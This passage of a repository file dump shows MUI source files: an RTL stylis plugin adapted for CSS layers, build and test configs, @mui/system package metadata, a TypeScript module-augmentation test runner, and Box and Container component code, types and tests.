32px;\n              }\n            }\n          }\n        }\n      `),\n    ).to.equal(\n      `@layer root{.foo{margin-left:32px;}@layer default{.cls{margin-left:32px;}.cls .first-child{margin-left:32px;}}}`,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/src/index.ts",
    "content": "/* eslint-disable default-case, no-return-assign, curly, prefer-template, @typescript-eslint/no-unused-vars */\n\n/**\n * Copied from https://github.com/styled-components/stylis-plugin-rtl/blob/main/src/stylis-rtl.ts\n * with a modification at line 67 to handle layer rules.\n */\n\n// @ts-nocheck\nimport cssjanus from 'cssjanus';\nimport {\n  COMMENT,\n  compile,\n  DECLARATION,\n  IMPORT,\n  RULESET,\n  serialize,\n  strlen,\n  Middleware,\n  KEYFRAMES,\n  MEDIA,\n  SUPPORTS,\n  LAYER,\n} from 'stylis';\n\ntype MiddlewareParams = Parameters<Middleware>;\n\nfunction stringifyPreserveComments(\n  element: MiddlewareParams[0],\n  index: MiddlewareParams[1],\n  children: MiddlewareParams[2],\n): string {\n  switch (element.type) {\n    case IMPORT:\n    case DECLARATION:\n    case COMMENT:\n      return (element.return = element.return || element.value);\n    case RULESET: {\n      element.value = Array.isArray(element.props) ? element.props.join(',') : element.props;\n\n      if (Array.isArray(element.children)) {\n        element.children.forEach((x) => {\n          if (x.type === COMMENT) x.children = x.value;\n        });\n      }\n    }\n  }\n\n  const serializedChildren = serialize(\n    Array.prototype.concat(element.children),\n    stringifyPreserveComments,\n  );\n\n  return strlen(serializedChildren)\n    ? (element.return = element.value + '{' + serializedChildren + '}')\n    : '';\n}\n\nfunction stylisRTLPlugin(\n  element: MiddlewareParams[0],\n  index: MiddlewareParams[1],\n  children: MiddlewareParams[2],\n  callback: MiddlewareParams[3],\n): string | void {\n  if (\n    element.type === KEYFRAMES ||\n    element.type === SUPPORTS ||\n    (element.type === RULESET &&\n      (!element.parent ||\n        element.parent.type === MEDIA ||\n        element.parent.type === RULESET ||\n        element.parent.type === LAYER))\n  ) {\n    const stringified = cssjanus.transform(stringifyPreserveComments(element, index, children));\n\n    element.children = stringified ? compile(stringified)[0].children : [];\n\n    element.return = '';\n  }\n}\n\n// stable identifier that will not be dropped by minification unless the whole module\n// is unused\nObject.defineProperty(stylisRTLPlugin, 'name', { value: 'stylisRTLPlugin' });\n\nexport default stylisRTLPlugin;\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\",\n    \"types\": [\"react\", \"node\"]\n  },\n  \"include\": [\"src/**/*.ts\"],\n  \"exclude\": [\"src/**/*.test.ts*\", \"src/**/*.spec.ts*\"]\n}\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"allowJs\": false,\n    \"types\": [\"react\", \"vitest/globals\", \"node\"]\n  },\n  \"include\": [\"src/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-stylis-plugin-rtl/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-system/README.md",
    "content": "# MUI System\n\nMUI System is a set of CSS utilities to help you build custom designs more efficiently. It makes it possible to rapidly lay out custom designs.\n\n## Installation\n\nInstall the package in your project directory with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/system@next @emotion/react @emotion/styled\n```\n\n## Documentation\n\n<!-- #host-reference -->\n\nVisit [https://next.mui.com/system/getting-started/](https://next.mui.com/system/getting-started/) to view the full documentation.\n"
  },
  {
    "path": "packages/mui-system/package.json",
    "content": "{\n  \"name\": \"@mui/system\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"MUI System is a set of CSS utilities to help you build custom designs more efficiently. It makes it possible to rapidly lay out custom designs.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"system\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-system\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/system/getting-started/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/system\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"typescript:module-augmentation\": \"node scripts/testModuleAugmentation.js\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\" \\\"Box\\\" \\\"styled\\\" \\\"useTheme\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/private-theming\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/types\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:*\",\n    \"clsx\": \"^2.1.1\",\n    \"csstype\": \"^3.2.3\",\n    \"prop-types\": \"^15.8.1\"\n  },\n  \"devDependencies\": {\n    \"@emotion/react\": \"11.14.0\",\n    \"@emotion/styled\": \"11.14.1\",\n    \"@mui/system\": \"workspace:*\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/prop-types\": \"15.7.15\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"es-toolkit\": \"1.45.1\",\n    \"fast-glob\": \"3.3.3\",\n    \"react\": \"19.2.4\",\n    \"sinon\": \"21.0.3\",\n    \"styled-components\": \"6.3.12\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/react\": \"^11.5.0\",\n    \"@emotion/styled\": \"^11.3.0\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    },\n    \"@emotion/react\": {\n      \"optional\": true\n    },\n    \"@emotion/styled\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.js\",\n    \"./Box\": \"./src/Box/index.js\",\n    \"./Container\": \"./src/Container/index.js\",\n    \"./createBreakpoints\": \"./src/createBreakpoints/index.js\",\n    \"./createTheme\": \"./src/createTheme/index.js\",\n    \"./RtlProvider\": \"./src/RtlProvider/index.js\",\n    \"./styleFunctionSx\": \"./src/styleFunctionSx/index.js\",\n    \"./ThemeProvider\": \"./src/ThemeProvider/index.js\",\n    \"./useThemeProps\": \"./src/useThemeProps/index.js\",\n    \"./*\": \"./src/*/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-system/scripts/testModuleAugmentation.js",
    "content": "const childProcess = require('child_process');\nconst path = require('path');\nconst { promisify } = require('util');\nconst { chunk } = require('es-toolkit/array');\nconst glob = require('fast-glob');\n\nconst exec = promisify(childProcess.exec);\nconst packageRoot = path.resolve(__dirname, '../');\n\nasync function test(tsconfigPath) {\n  try {\n    await exec(['pnpm', 'tsc', '--project', tsconfigPath].join(' '), { cwd: packageRoot });\n  } catch (error) {\n    if (error.stdout !== undefined) {\n      // `exec` error\n      throw new Error(`exit code ${error.code}: ${error.stdout}`);\n    }\n    // Unknown error\n    throw error;\n  }\n}\n\n/**\n * Tests various module augmentation scenarios.\n * We can't run them with a single `tsc` run since these apply globally.\n * Running them all would mean they're not isolated.\n * Each test case represents a section in our docs.\n */\nasync function main() {\n  const tsconfigPaths = await glob('test/typescript/moduleAugmentation/*.tsconfig.json', {\n    absolute: true,\n    cwd: packageRoot,\n  });\n  // Need to process in chunks or we might run out-of-memory\n  // approximate pnpm lerna --concurrency 7\n  const tsconfigPathsChunks = chunk(tsconfigPaths, 7);\n\n  for await (const tsconfigPathsChunk of tsconfigPathsChunks) {\n    await Promise.all(\n      tsconfigPathsChunk.map(async (tsconfigPath) => {\n        await test(tsconfigPath).then(\n          () => {\n            // eslint-disable-next-line no-console -- test runner feedback\n            console.log(`PASS ${path.relative(process.cwd(), tsconfigPath)}`);\n          },\n          (error) => {\n            // don't bail but log the error\n            console.error(`FAIL ${path.relative(process.cwd(), tsconfigPath)}\\n ${error}`);\n            // and mark the test as failed\n            process.exitCode = 1;\n          },\n        );\n      }),\n    );\n  }\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "packages/mui-system/src/Box/Box.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableComponent, OverrideProps } from '@mui/types';\nimport { Theme as SystemTheme } from '../createTheme';\nimport {\n  SxProps,\n  AllSystemCSSProperties,\n  ResponsiveStyleValue,\n  OverwriteCSSProperties,\n  AliasesCSSProperties,\n} from '../styleFunctionSx';\nimport { PropsFor } from '../style';\nimport { ComposedStyleFunction } from '../compose';\nimport borders from '../borders';\nimport display from '../display';\nimport flexbox from '../flexbox';\nimport grid from '../cssGrid';\nimport palette from '../palette';\nimport positions from '../positions';\nimport shadows from '../shadows';\nimport sizing from '../sizing';\nimport spacing from '../spacing';\nimport typography from '../typography';\n\nexport interface CustomSystemProps extends AliasesCSSProperties, OverwriteCSSProperties {}\n\nexport type SimpleSystemKeys = keyof PropsFor<\n  ComposedStyleFunction<\n    [\n      typeof borders,\n      typeof display,\n      typeof flexbox,\n      typeof grid,\n      typeof palette,\n      typeof positions,\n      typeof shadows,\n      typeof sizing,\n      typeof spacing,\n      typeof typography,\n    ]\n  >\n>;\n\n// The SimpleSystemKeys are subset of the AllSystemCSSProperties, so this should be ok\n// This is needed as these are used as keys inside AllSystemCSSProperties\ntype StandardSystemKeys = Extract<SimpleSystemKeys, keyof AllSystemCSSProperties>;\n\nexport type SystemProps<Theme extends object = {}> = {\n  [K in StandardSystemKeys]?:\n    | ResponsiveStyleValue<AllSystemCSSProperties[K]>\n    | ((theme: Theme) => ResponsiveStyleValue<AllSystemCSSProperties[K]>);\n};\n\nexport interface BoxOwnProps<Theme extends object = SystemTheme> {\n  children?: React.ReactNode;\n  ref?: React.Ref<unknown> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface BoxTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n  Theme extends object = SystemTheme,\n> {\n  props: AdditionalProps & BoxOwnProps<Theme>;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Box (Material UI)](https://mui.com/material-ui/react-box/)\n * - [Menubar (Material UI)](https://mui.com/material-ui/react-menubar/)\n * - [Box (MUI System)](https://mui.com/system/react-box/)\n *\n * API:\n *\n * - [Box API](https://mui.com/system/api/box/)\n */\ndeclare const Box: OverridableComponent<BoxTypeMap>;\n\nexport type BoxProps<\n  RootComponent extends React.ElementType = BoxTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<BoxTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Box;\n"
  },
  {
    "path": "packages/mui-system/src/Box/Box.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport ClassNameGenerator from '@mui/utils/ClassNameGenerator';\nimport createBox from '../createBox';\nimport boxClasses from './boxClasses';\n\nconst Box = createBox({\n  defaultClassName: boxClasses.root,\n  generateClassName: ClassNameGenerator.generate,\n});\n\nBox.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Box;\n"
  },
  {
    "path": "packages/mui-system/src/Box/Box.spec.tsx",
    "content": "import { Box, styled } from '@mui/system';\n\ninterface TestProps {\n  test?: string;\n}\n\nfunction Test(props: TestProps) {\n  const { test, ...other } = props;\n  return <span {...other}>{test}</span>;\n}\n\nfunction ResponsiveTest() {\n  <Box sx={{ p: [2, 3, 4] }} />;\n  <Box sx={{ p: { xs: 2, sm: 3, md: 4 } }} />;\n  <Box sx={{ fontSize: [12, 18, 24] }}>Array API</Box>;\n  <Box\n    sx={{\n      fontSize: {\n        xs: 12,\n        sm: 18,\n        md: 24,\n      },\n    }}\n  >\n    Object API\n  </Box>;\n}\n\nfunction GapTest() {\n  <Box\n    sx={{\n      width: '100%',\n      display: 'flex',\n      alignItems: 'center',\n      flex: '1 0',\n      gap: '16px',\n    }}\n  >\n    Gap\n  </Box>;\n}\n\nfunction ComponentPropTest() {\n  <Box component=\"img\" src=\"https://mui.com/\" alt=\"Material UI\" />;\n  <Box component={Test} test=\"Test string\" />;\n}\n\nfunction ThemeCallbackTest() {\n  <Box sx={{ background: (theme) => theme.palette.primary.main }} />;\n  <Box sx={{ '&:hover': (theme) => ({ background: theme.palette.primary.main }) }} />;\n  <Box sx={{ '& .some-class': (theme) => ({ background: theme.palette.primary.main }) }} />;\n  <Box sx={{ maxWidth: (theme) => theme.breakpoints.values.sm }} />;\n}\n\nfunction CssVariablesWithNestedSelectors() {\n  <Box\n    sx={(theme) => ({\n      '--mui-palette-primary-main': '#FF0000',\n    })}\n  />;\n  <Box\n    sx={(theme) => ({\n      '--mui-palette-primary-main': '#FF0000',\n      '&:hover': {\n        backgroundColor: theme.palette.primary.main,\n        '--mui-palette-primary-main': (t) => theme.palette.primary.main,\n        '--mui-spacing': (t) => theme.shape.borderRadius,\n      },\n    })}\n  />;\n  <Box\n    sx={{\n      '--mui-palette-primary-main': '#FF0000',\n      '&:hover': {\n        backgroundColor: '#EE0000',\n      },\n    }}\n  />;\n  <Box\n    sx={{\n      '--mui-palette-primary-main': '#FF0000',\n      '& .foo-bar': {\n        backgroundColor: '#EE0000',\n      },\n    }}\n  />;\n}\n\n// The fill prop conflicts with the Array's fill function.\n// This test ensures that the callback value inside the sx prop\n// can be used without conflicting with the Array's fill function\nfunction TestFillPropCallback() {\n  <Box\n    sx={{\n      fill: (theme) => theme.palette.primary.main,\n    }}\n  />;\n  <Box\n    sx={[\n      {\n        fill: (theme) => theme.palette.primary.main,\n      },\n    ]}\n  />;\n}\n\n// eslint-disable-next-line mui/material-ui-no-styled-box\nconst StyledBox = styled(Box)`\n  color: white;\n` as typeof Box;\n\nfunction StyledBoxWithSx() {\n  return (\n    <StyledBox component=\"span\" sx={{ width: 300 }}>\n      Box\n    </StyledBox>\n  );\n}\n\nfunction LogicalPropertiesTest() {\n  <Box sx={{ marginInline: 1, paddingBlockEnd: '10px' }} />;\n}\n"
  },
  {
    "path": "packages/mui-system/src/Box/Box.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { Box, ThemeProvider, boxClasses as classes } from '@mui/system';\nimport createTheme from '@mui/system/createTheme';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Box />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Box />, () => ({\n    classes,\n    render,\n    inheritComponent: 'div',\n    skip: [\n      'componentProp',\n      'rootClass',\n      'themeVariants',\n      'themeStyleOverrides',\n      'themeDefaultProps',\n    ],\n    refInstanceof: window.HTMLDivElement,\n  }));\n\n  const testChildren = (\n    <div data-testid=\"child\" className=\"unique\">\n      Hello World\n    </div>\n  );\n\n  it('does not forward style props as DOM attributes', () => {\n    const elementRef = React.createRef();\n    render(\n      <Box\n        sx={{\n          color: 'primary.main',\n          fontFamily: 'Comic Sans',\n          fontSize: { xs: 'h6.fontSize', sm: 'h4.fontSize', md: 'h3.fontSize' },\n        }}\n        ref={elementRef}\n      />,\n    );\n\n    const { current: element } = elementRef;\n    expect(element).not.to.have.attribute('color');\n    expect(element).not.to.have.attribute('font-family');\n    expect(element).not.to.have.attribute('font-size');\n  });\n\n  it('renders children and box content', () => {\n    render(\n      <Box data-testid=\"box\" component=\"span\" sx={{ m: 1 }}>\n        {testChildren}\n      </Box>,\n    );\n    const box = screen.getByTestId('box');\n    expect(box).contain(screen.getByTestId('child'));\n    expect(box.tagName).to.equal('SPAN');\n  });\n\n  it.skipIf(isJsdom())('respect properties order when generating the CSS', function test() {\n    const { container: testCaseBorderColorWins } = render(\n      <Box sx={{ border: 1, borderColor: 'rgb(0, 0, 255)' }} />,\n    );\n\n    expect(testCaseBorderColorWins.firstChild).toHaveComputedStyle({\n      borderTopWidth: '1px',\n      borderRightWidth: '1px',\n      borderBottomWidth: '1px',\n      borderLeftWidth: '1px',\n      borderTopStyle: 'solid',\n      borderRightStyle: 'solid',\n      borderBottomStyle: 'solid',\n      borderLeftStyle: 'solid',\n      borderTopColor: 'rgb(0, 0, 255)',\n      borderRightColor: 'rgb(0, 0, 255)',\n      borderBottomColor: 'rgb(0, 0, 255)',\n      borderLeftColor: 'rgb(0, 0, 255)',\n    });\n\n    const { container: testCaseBorderWins } = render(\n      <Box sx={{ borderColor: 'rgb(0, 0, 255)', border: 1 }} />,\n    );\n\n    expect(testCaseBorderWins.firstChild).toHaveComputedStyle({\n      borderTopWidth: '1px',\n      borderRightWidth: '1px',\n      borderBottomWidth: '1px',\n      borderLeftWidth: '1px',\n      borderTopStyle: 'solid',\n      borderRightStyle: 'solid',\n      borderBottomStyle: 'solid',\n      borderLeftStyle: 'solid',\n      borderTopColor: 'rgb(0, 0, 0)',\n      borderRightColor: 'rgb(0, 0, 0)',\n      borderBottomColor: 'rgb(0, 0, 0)',\n      borderLeftColor: 'rgb(0, 0, 0)',\n    });\n  });\n\n  it.skipIf(isJsdom())(\n    'respect border-*-color properties order when generating the CSS',\n    function test() {\n      const { container: testCaseBorderPositionColorWins } = render(\n        <Box\n          sx={{\n            borderTop: 1,\n            borderTopColor: 'rgb(0, 0, 25)',\n            borderRight: 2,\n            borderRightColor: 'rgb(0, 0, 50)',\n            borderBottom: 3,\n            borderBottomColor: 'rgb(0, 0, 75)',\n            borderLeft: 4,\n            borderLeftColor: 'rgb(0, 0, 100)',\n          }}\n        />,\n      );\n\n      expect(testCaseBorderPositionColorWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '2px',\n        borderBottomWidth: '3px',\n        borderLeftWidth: '4px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 25)',\n        borderRightColor: 'rgb(0, 0, 50)',\n        borderBottomColor: 'rgb(0, 0, 75)',\n        borderLeftColor: 'rgb(0, 0, 100)',\n      });\n\n      const { container: testCaseBorderPositionWins } = render(\n        <Box\n          sx={{\n            borderTopColor: 'rgb(0, 0, 25)',\n            borderTop: 1,\n            borderRightColor: 'rgb(0, 0, 50)',\n            borderRight: 2,\n            borderBottomColor: 'rgb(0, 0, 75)',\n            borderBottom: 3,\n            borderLeftColor: 'rgb(0, 0, 100)',\n            borderLeft: 4,\n          }}\n        />,\n      );\n\n      expect(testCaseBorderPositionWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '2px',\n        borderBottomWidth: '3px',\n        borderLeftWidth: '4px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 0)',\n        borderRightColor: 'rgb(0, 0, 0)',\n        borderBottomColor: 'rgb(0, 0, 0)',\n        borderLeftColor: 'rgb(0, 0, 0)',\n      });\n    },\n  );\n\n  it.skipIf(isJsdom())(\n    'respect properties order when generating the CSS from the sx prop',\n    function test() {\n      const { container: testCaseBorderColorWins } = render(\n        <Box sx={{ border: 1, borderColor: 'rgb(0, 0, 255)' }} />,\n      );\n\n      expect(testCaseBorderColorWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '1px',\n        borderBottomWidth: '1px',\n        borderLeftWidth: '1px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 255)',\n        borderRightColor: 'rgb(0, 0, 255)',\n        borderBottomColor: 'rgb(0, 0, 255)',\n        borderLeftColor: 'rgb(0, 0, 255)',\n      });\n\n      const { container: testCaseBorderWins } = render(\n        <Box sx={{ borderColor: 'rgb(0, 0, 255)', border: 1 }} />,\n      );\n\n      expect(testCaseBorderWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '1px',\n        borderBottomWidth: '1px',\n        borderLeftWidth: '1px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 0)',\n        borderRightColor: 'rgb(0, 0, 0)',\n        borderBottomColor: 'rgb(0, 0, 0)',\n        borderLeftColor: 'rgb(0, 0, 0)',\n      });\n\n      const { container: testCaseBorderPositionColorWins } = render(\n        <Box\n          sx={{\n            borderTop: 1,\n            borderTopColor: 'rgb(0, 0, 25)',\n            borderRight: 2,\n            borderRightColor: 'rgb(0, 0, 50)',\n            borderBottom: 3,\n            borderBottomColor: 'rgb(0, 0, 75)',\n            borderLeft: 4,\n            borderLeftColor: 'rgb(0, 0, 100)',\n          }}\n        />,\n      );\n\n      expect(testCaseBorderPositionColorWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '2px',\n        borderBottomWidth: '3px',\n        borderLeftWidth: '4px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 25)',\n        borderRightColor: 'rgb(0, 0, 50)',\n        borderBottomColor: 'rgb(0, 0, 75)',\n        borderLeftColor: 'rgb(0, 0, 100)',\n      });\n\n      const { container: testCaseBorderPositionWins } = render(\n        <Box\n          sx={{\n            borderTopColor: 'rgb(0, 0, 25)',\n            borderTop: 1,\n            borderRightColor: 'rgb(0, 0, 50)',\n            borderRight: 2,\n            borderBottomColor: 'rgb(0, 0, 75)',\n            borderBottom: 3,\n            borderLeftColor: 'rgb(0, 0, 100)',\n            borderLeft: 4,\n          }}\n        />,\n      );\n\n      expect(testCaseBorderPositionWins.firstChild).toHaveComputedStyle({\n        borderTopWidth: '1px',\n        borderRightWidth: '2px',\n        borderBottomWidth: '3px',\n        borderLeftWidth: '4px',\n        borderTopStyle: 'solid',\n        borderRightStyle: 'solid',\n        borderBottomStyle: 'solid',\n        borderLeftStyle: 'solid',\n        borderTopColor: 'rgb(0, 0, 0)',\n        borderRightColor: 'rgb(0, 0, 0)',\n        borderBottomColor: 'rgb(0, 0, 0)',\n        borderLeftColor: 'rgb(0, 0, 0)',\n      });\n    },\n  );\n\n  it('adds the utility mui class', () => {\n    render(<Box data-testid=\"regular-box\" />);\n\n    expect(screen.getByTestId('regular-box')).to.have.class('MuiBox-root');\n  });\n\n  describe('prop: maxWidth', () => {\n    it.skipIf(isJsdom())('should resolve breakpoints with custom units', function test() {\n      const theme = createTheme({\n        breakpoints: {\n          unit: 'rem',\n          values: {\n            xs: 10,\n          },\n        },\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Box sx={{ maxWidth: 'xs' }} />,\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        // 10rem x 16px = 160px\n        maxWidth: '160px',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Box/boxClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\n\nexport interface BoxClasses {\n  /** Styles applied to the root element. */\n  root: string;\n}\n\nexport type BoxClassKey = keyof BoxClasses;\n\nconst boxClasses: BoxClasses = generateUtilityClasses('MuiBox', ['root']);\n\nexport default boxClasses;\n"
  },
  {
    "path": "packages/mui-system/src/Box/index.d.ts",
    "content": "export { default } from './Box';\nexport * from './Box';\n\nexport { default as boxClasses } from './boxClasses';\nexport * from './boxClasses';\n"
  },
  {
    "path": "packages/mui-system/src/Box/index.js",
    "content": "export { default } from './Box';\n\nexport { default as boxClasses } from './boxClasses';\nexport * from './boxClasses';\n"
  },
  {
    "path": "packages/mui-system/src/CSSProperties.d.ts",
    "content": "import * as CSS from 'csstype';\n\n/**\n * All non-vendor-prefixed CSS properties. (Also allows `number` in order to support CSS-in-JS libs,\n * since they are converted to `px`.)\n */\nexport interface CSSProperties\n  extends CSS.StandardProperties<number | string>, CSS.SvgProperties<number | string> {}\n"
  },
  {
    "path": "packages/mui-system/src/Container/Container.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { Container, containerClasses as classes } from '@mui/system';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Container />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: <div />,\n  };\n\n  describeConformance(<Container {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLElement,\n    muiName: 'MuiContainer',\n    testVariantProps: { fixed: true },\n  }));\n\n  describe('prop: maxWidth', () => {\n    it('should support different maxWidth values', () => {\n      const { container: firstContainer } = render(<Container {...defaultProps} />);\n      expect(firstContainer.firstChild).to.have.class(classes.maxWidthLg);\n      const { container: secondsContainer } = render(\n        <Container {...defaultProps} maxWidth={false} />,\n      );\n      expect(secondsContainer.firstChild).not.to.have.class(classes.maxWidthLg);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Container/Container.tsx",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport createContainer from './createContainer';\n\n/**\n *\n * Demos:\n *\n * - [Container (Material UI)](https://mui.com/material-ui/react-container/)\n * - [Container (MUI System)](https://mui.com/system/react-container/)\n *\n * API:\n *\n * - [Container API](https://mui.com/system/api/container/)\n */\nconst Container = createContainer();\n\nContainer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * Set the max-width to match the min-width of the current breakpoint.\n   * This is useful if you'd prefer to design for a fixed set of sizes\n   * instead of trying to accommodate a fully fluid viewport.\n   * It's fluid by default.\n   * @default false\n   */\n  fixed: PropTypes.bool,\n  /**\n   * Determine the max-width of the container.\n   * The container width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'lg'\n   */\n  maxWidth: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['xs', 'sm', 'md', 'lg', 'xl', false]),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n} as any;\n\nexport default Container;\n"
  },
  {
    "path": "packages/mui-system/src/Container/ContainerProps.ts",
    "content": "import * as React from 'react';\nimport { OverrideProps } from '@mui/types';\nimport { SxProps } from '../styleFunctionSx';\nimport { Theme, Breakpoint } from '../createTheme';\nimport { ContainerClasses } from './containerClasses';\n\nexport interface ContainerTypeMap<\n  AdditionalProps = {},\n  DefaultComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & {\n    children?: React.ReactNode;\n    /**\n     * Override or extend the styles applied to the component.\n     */\n    classes?: Partial<ContainerClasses> | undefined;\n    /**\n     * If `true`, the left and right padding is removed.\n     * @default false\n     */\n    disableGutters?: boolean | undefined;\n    /**\n     * Set the max-width to match the min-width of the current breakpoint.\n     * This is useful if you'd prefer to design for a fixed set of sizes\n     * instead of trying to accommodate a fully fluid viewport.\n     * It's fluid by default.\n     * @default false\n     */\n    fixed?: boolean | undefined;\n    /**\n     * Determine the max-width of the container.\n     * The container width grows with the size of the screen.\n     * Set to `false` to disable `maxWidth`.\n     * @default 'lg'\n     */\n    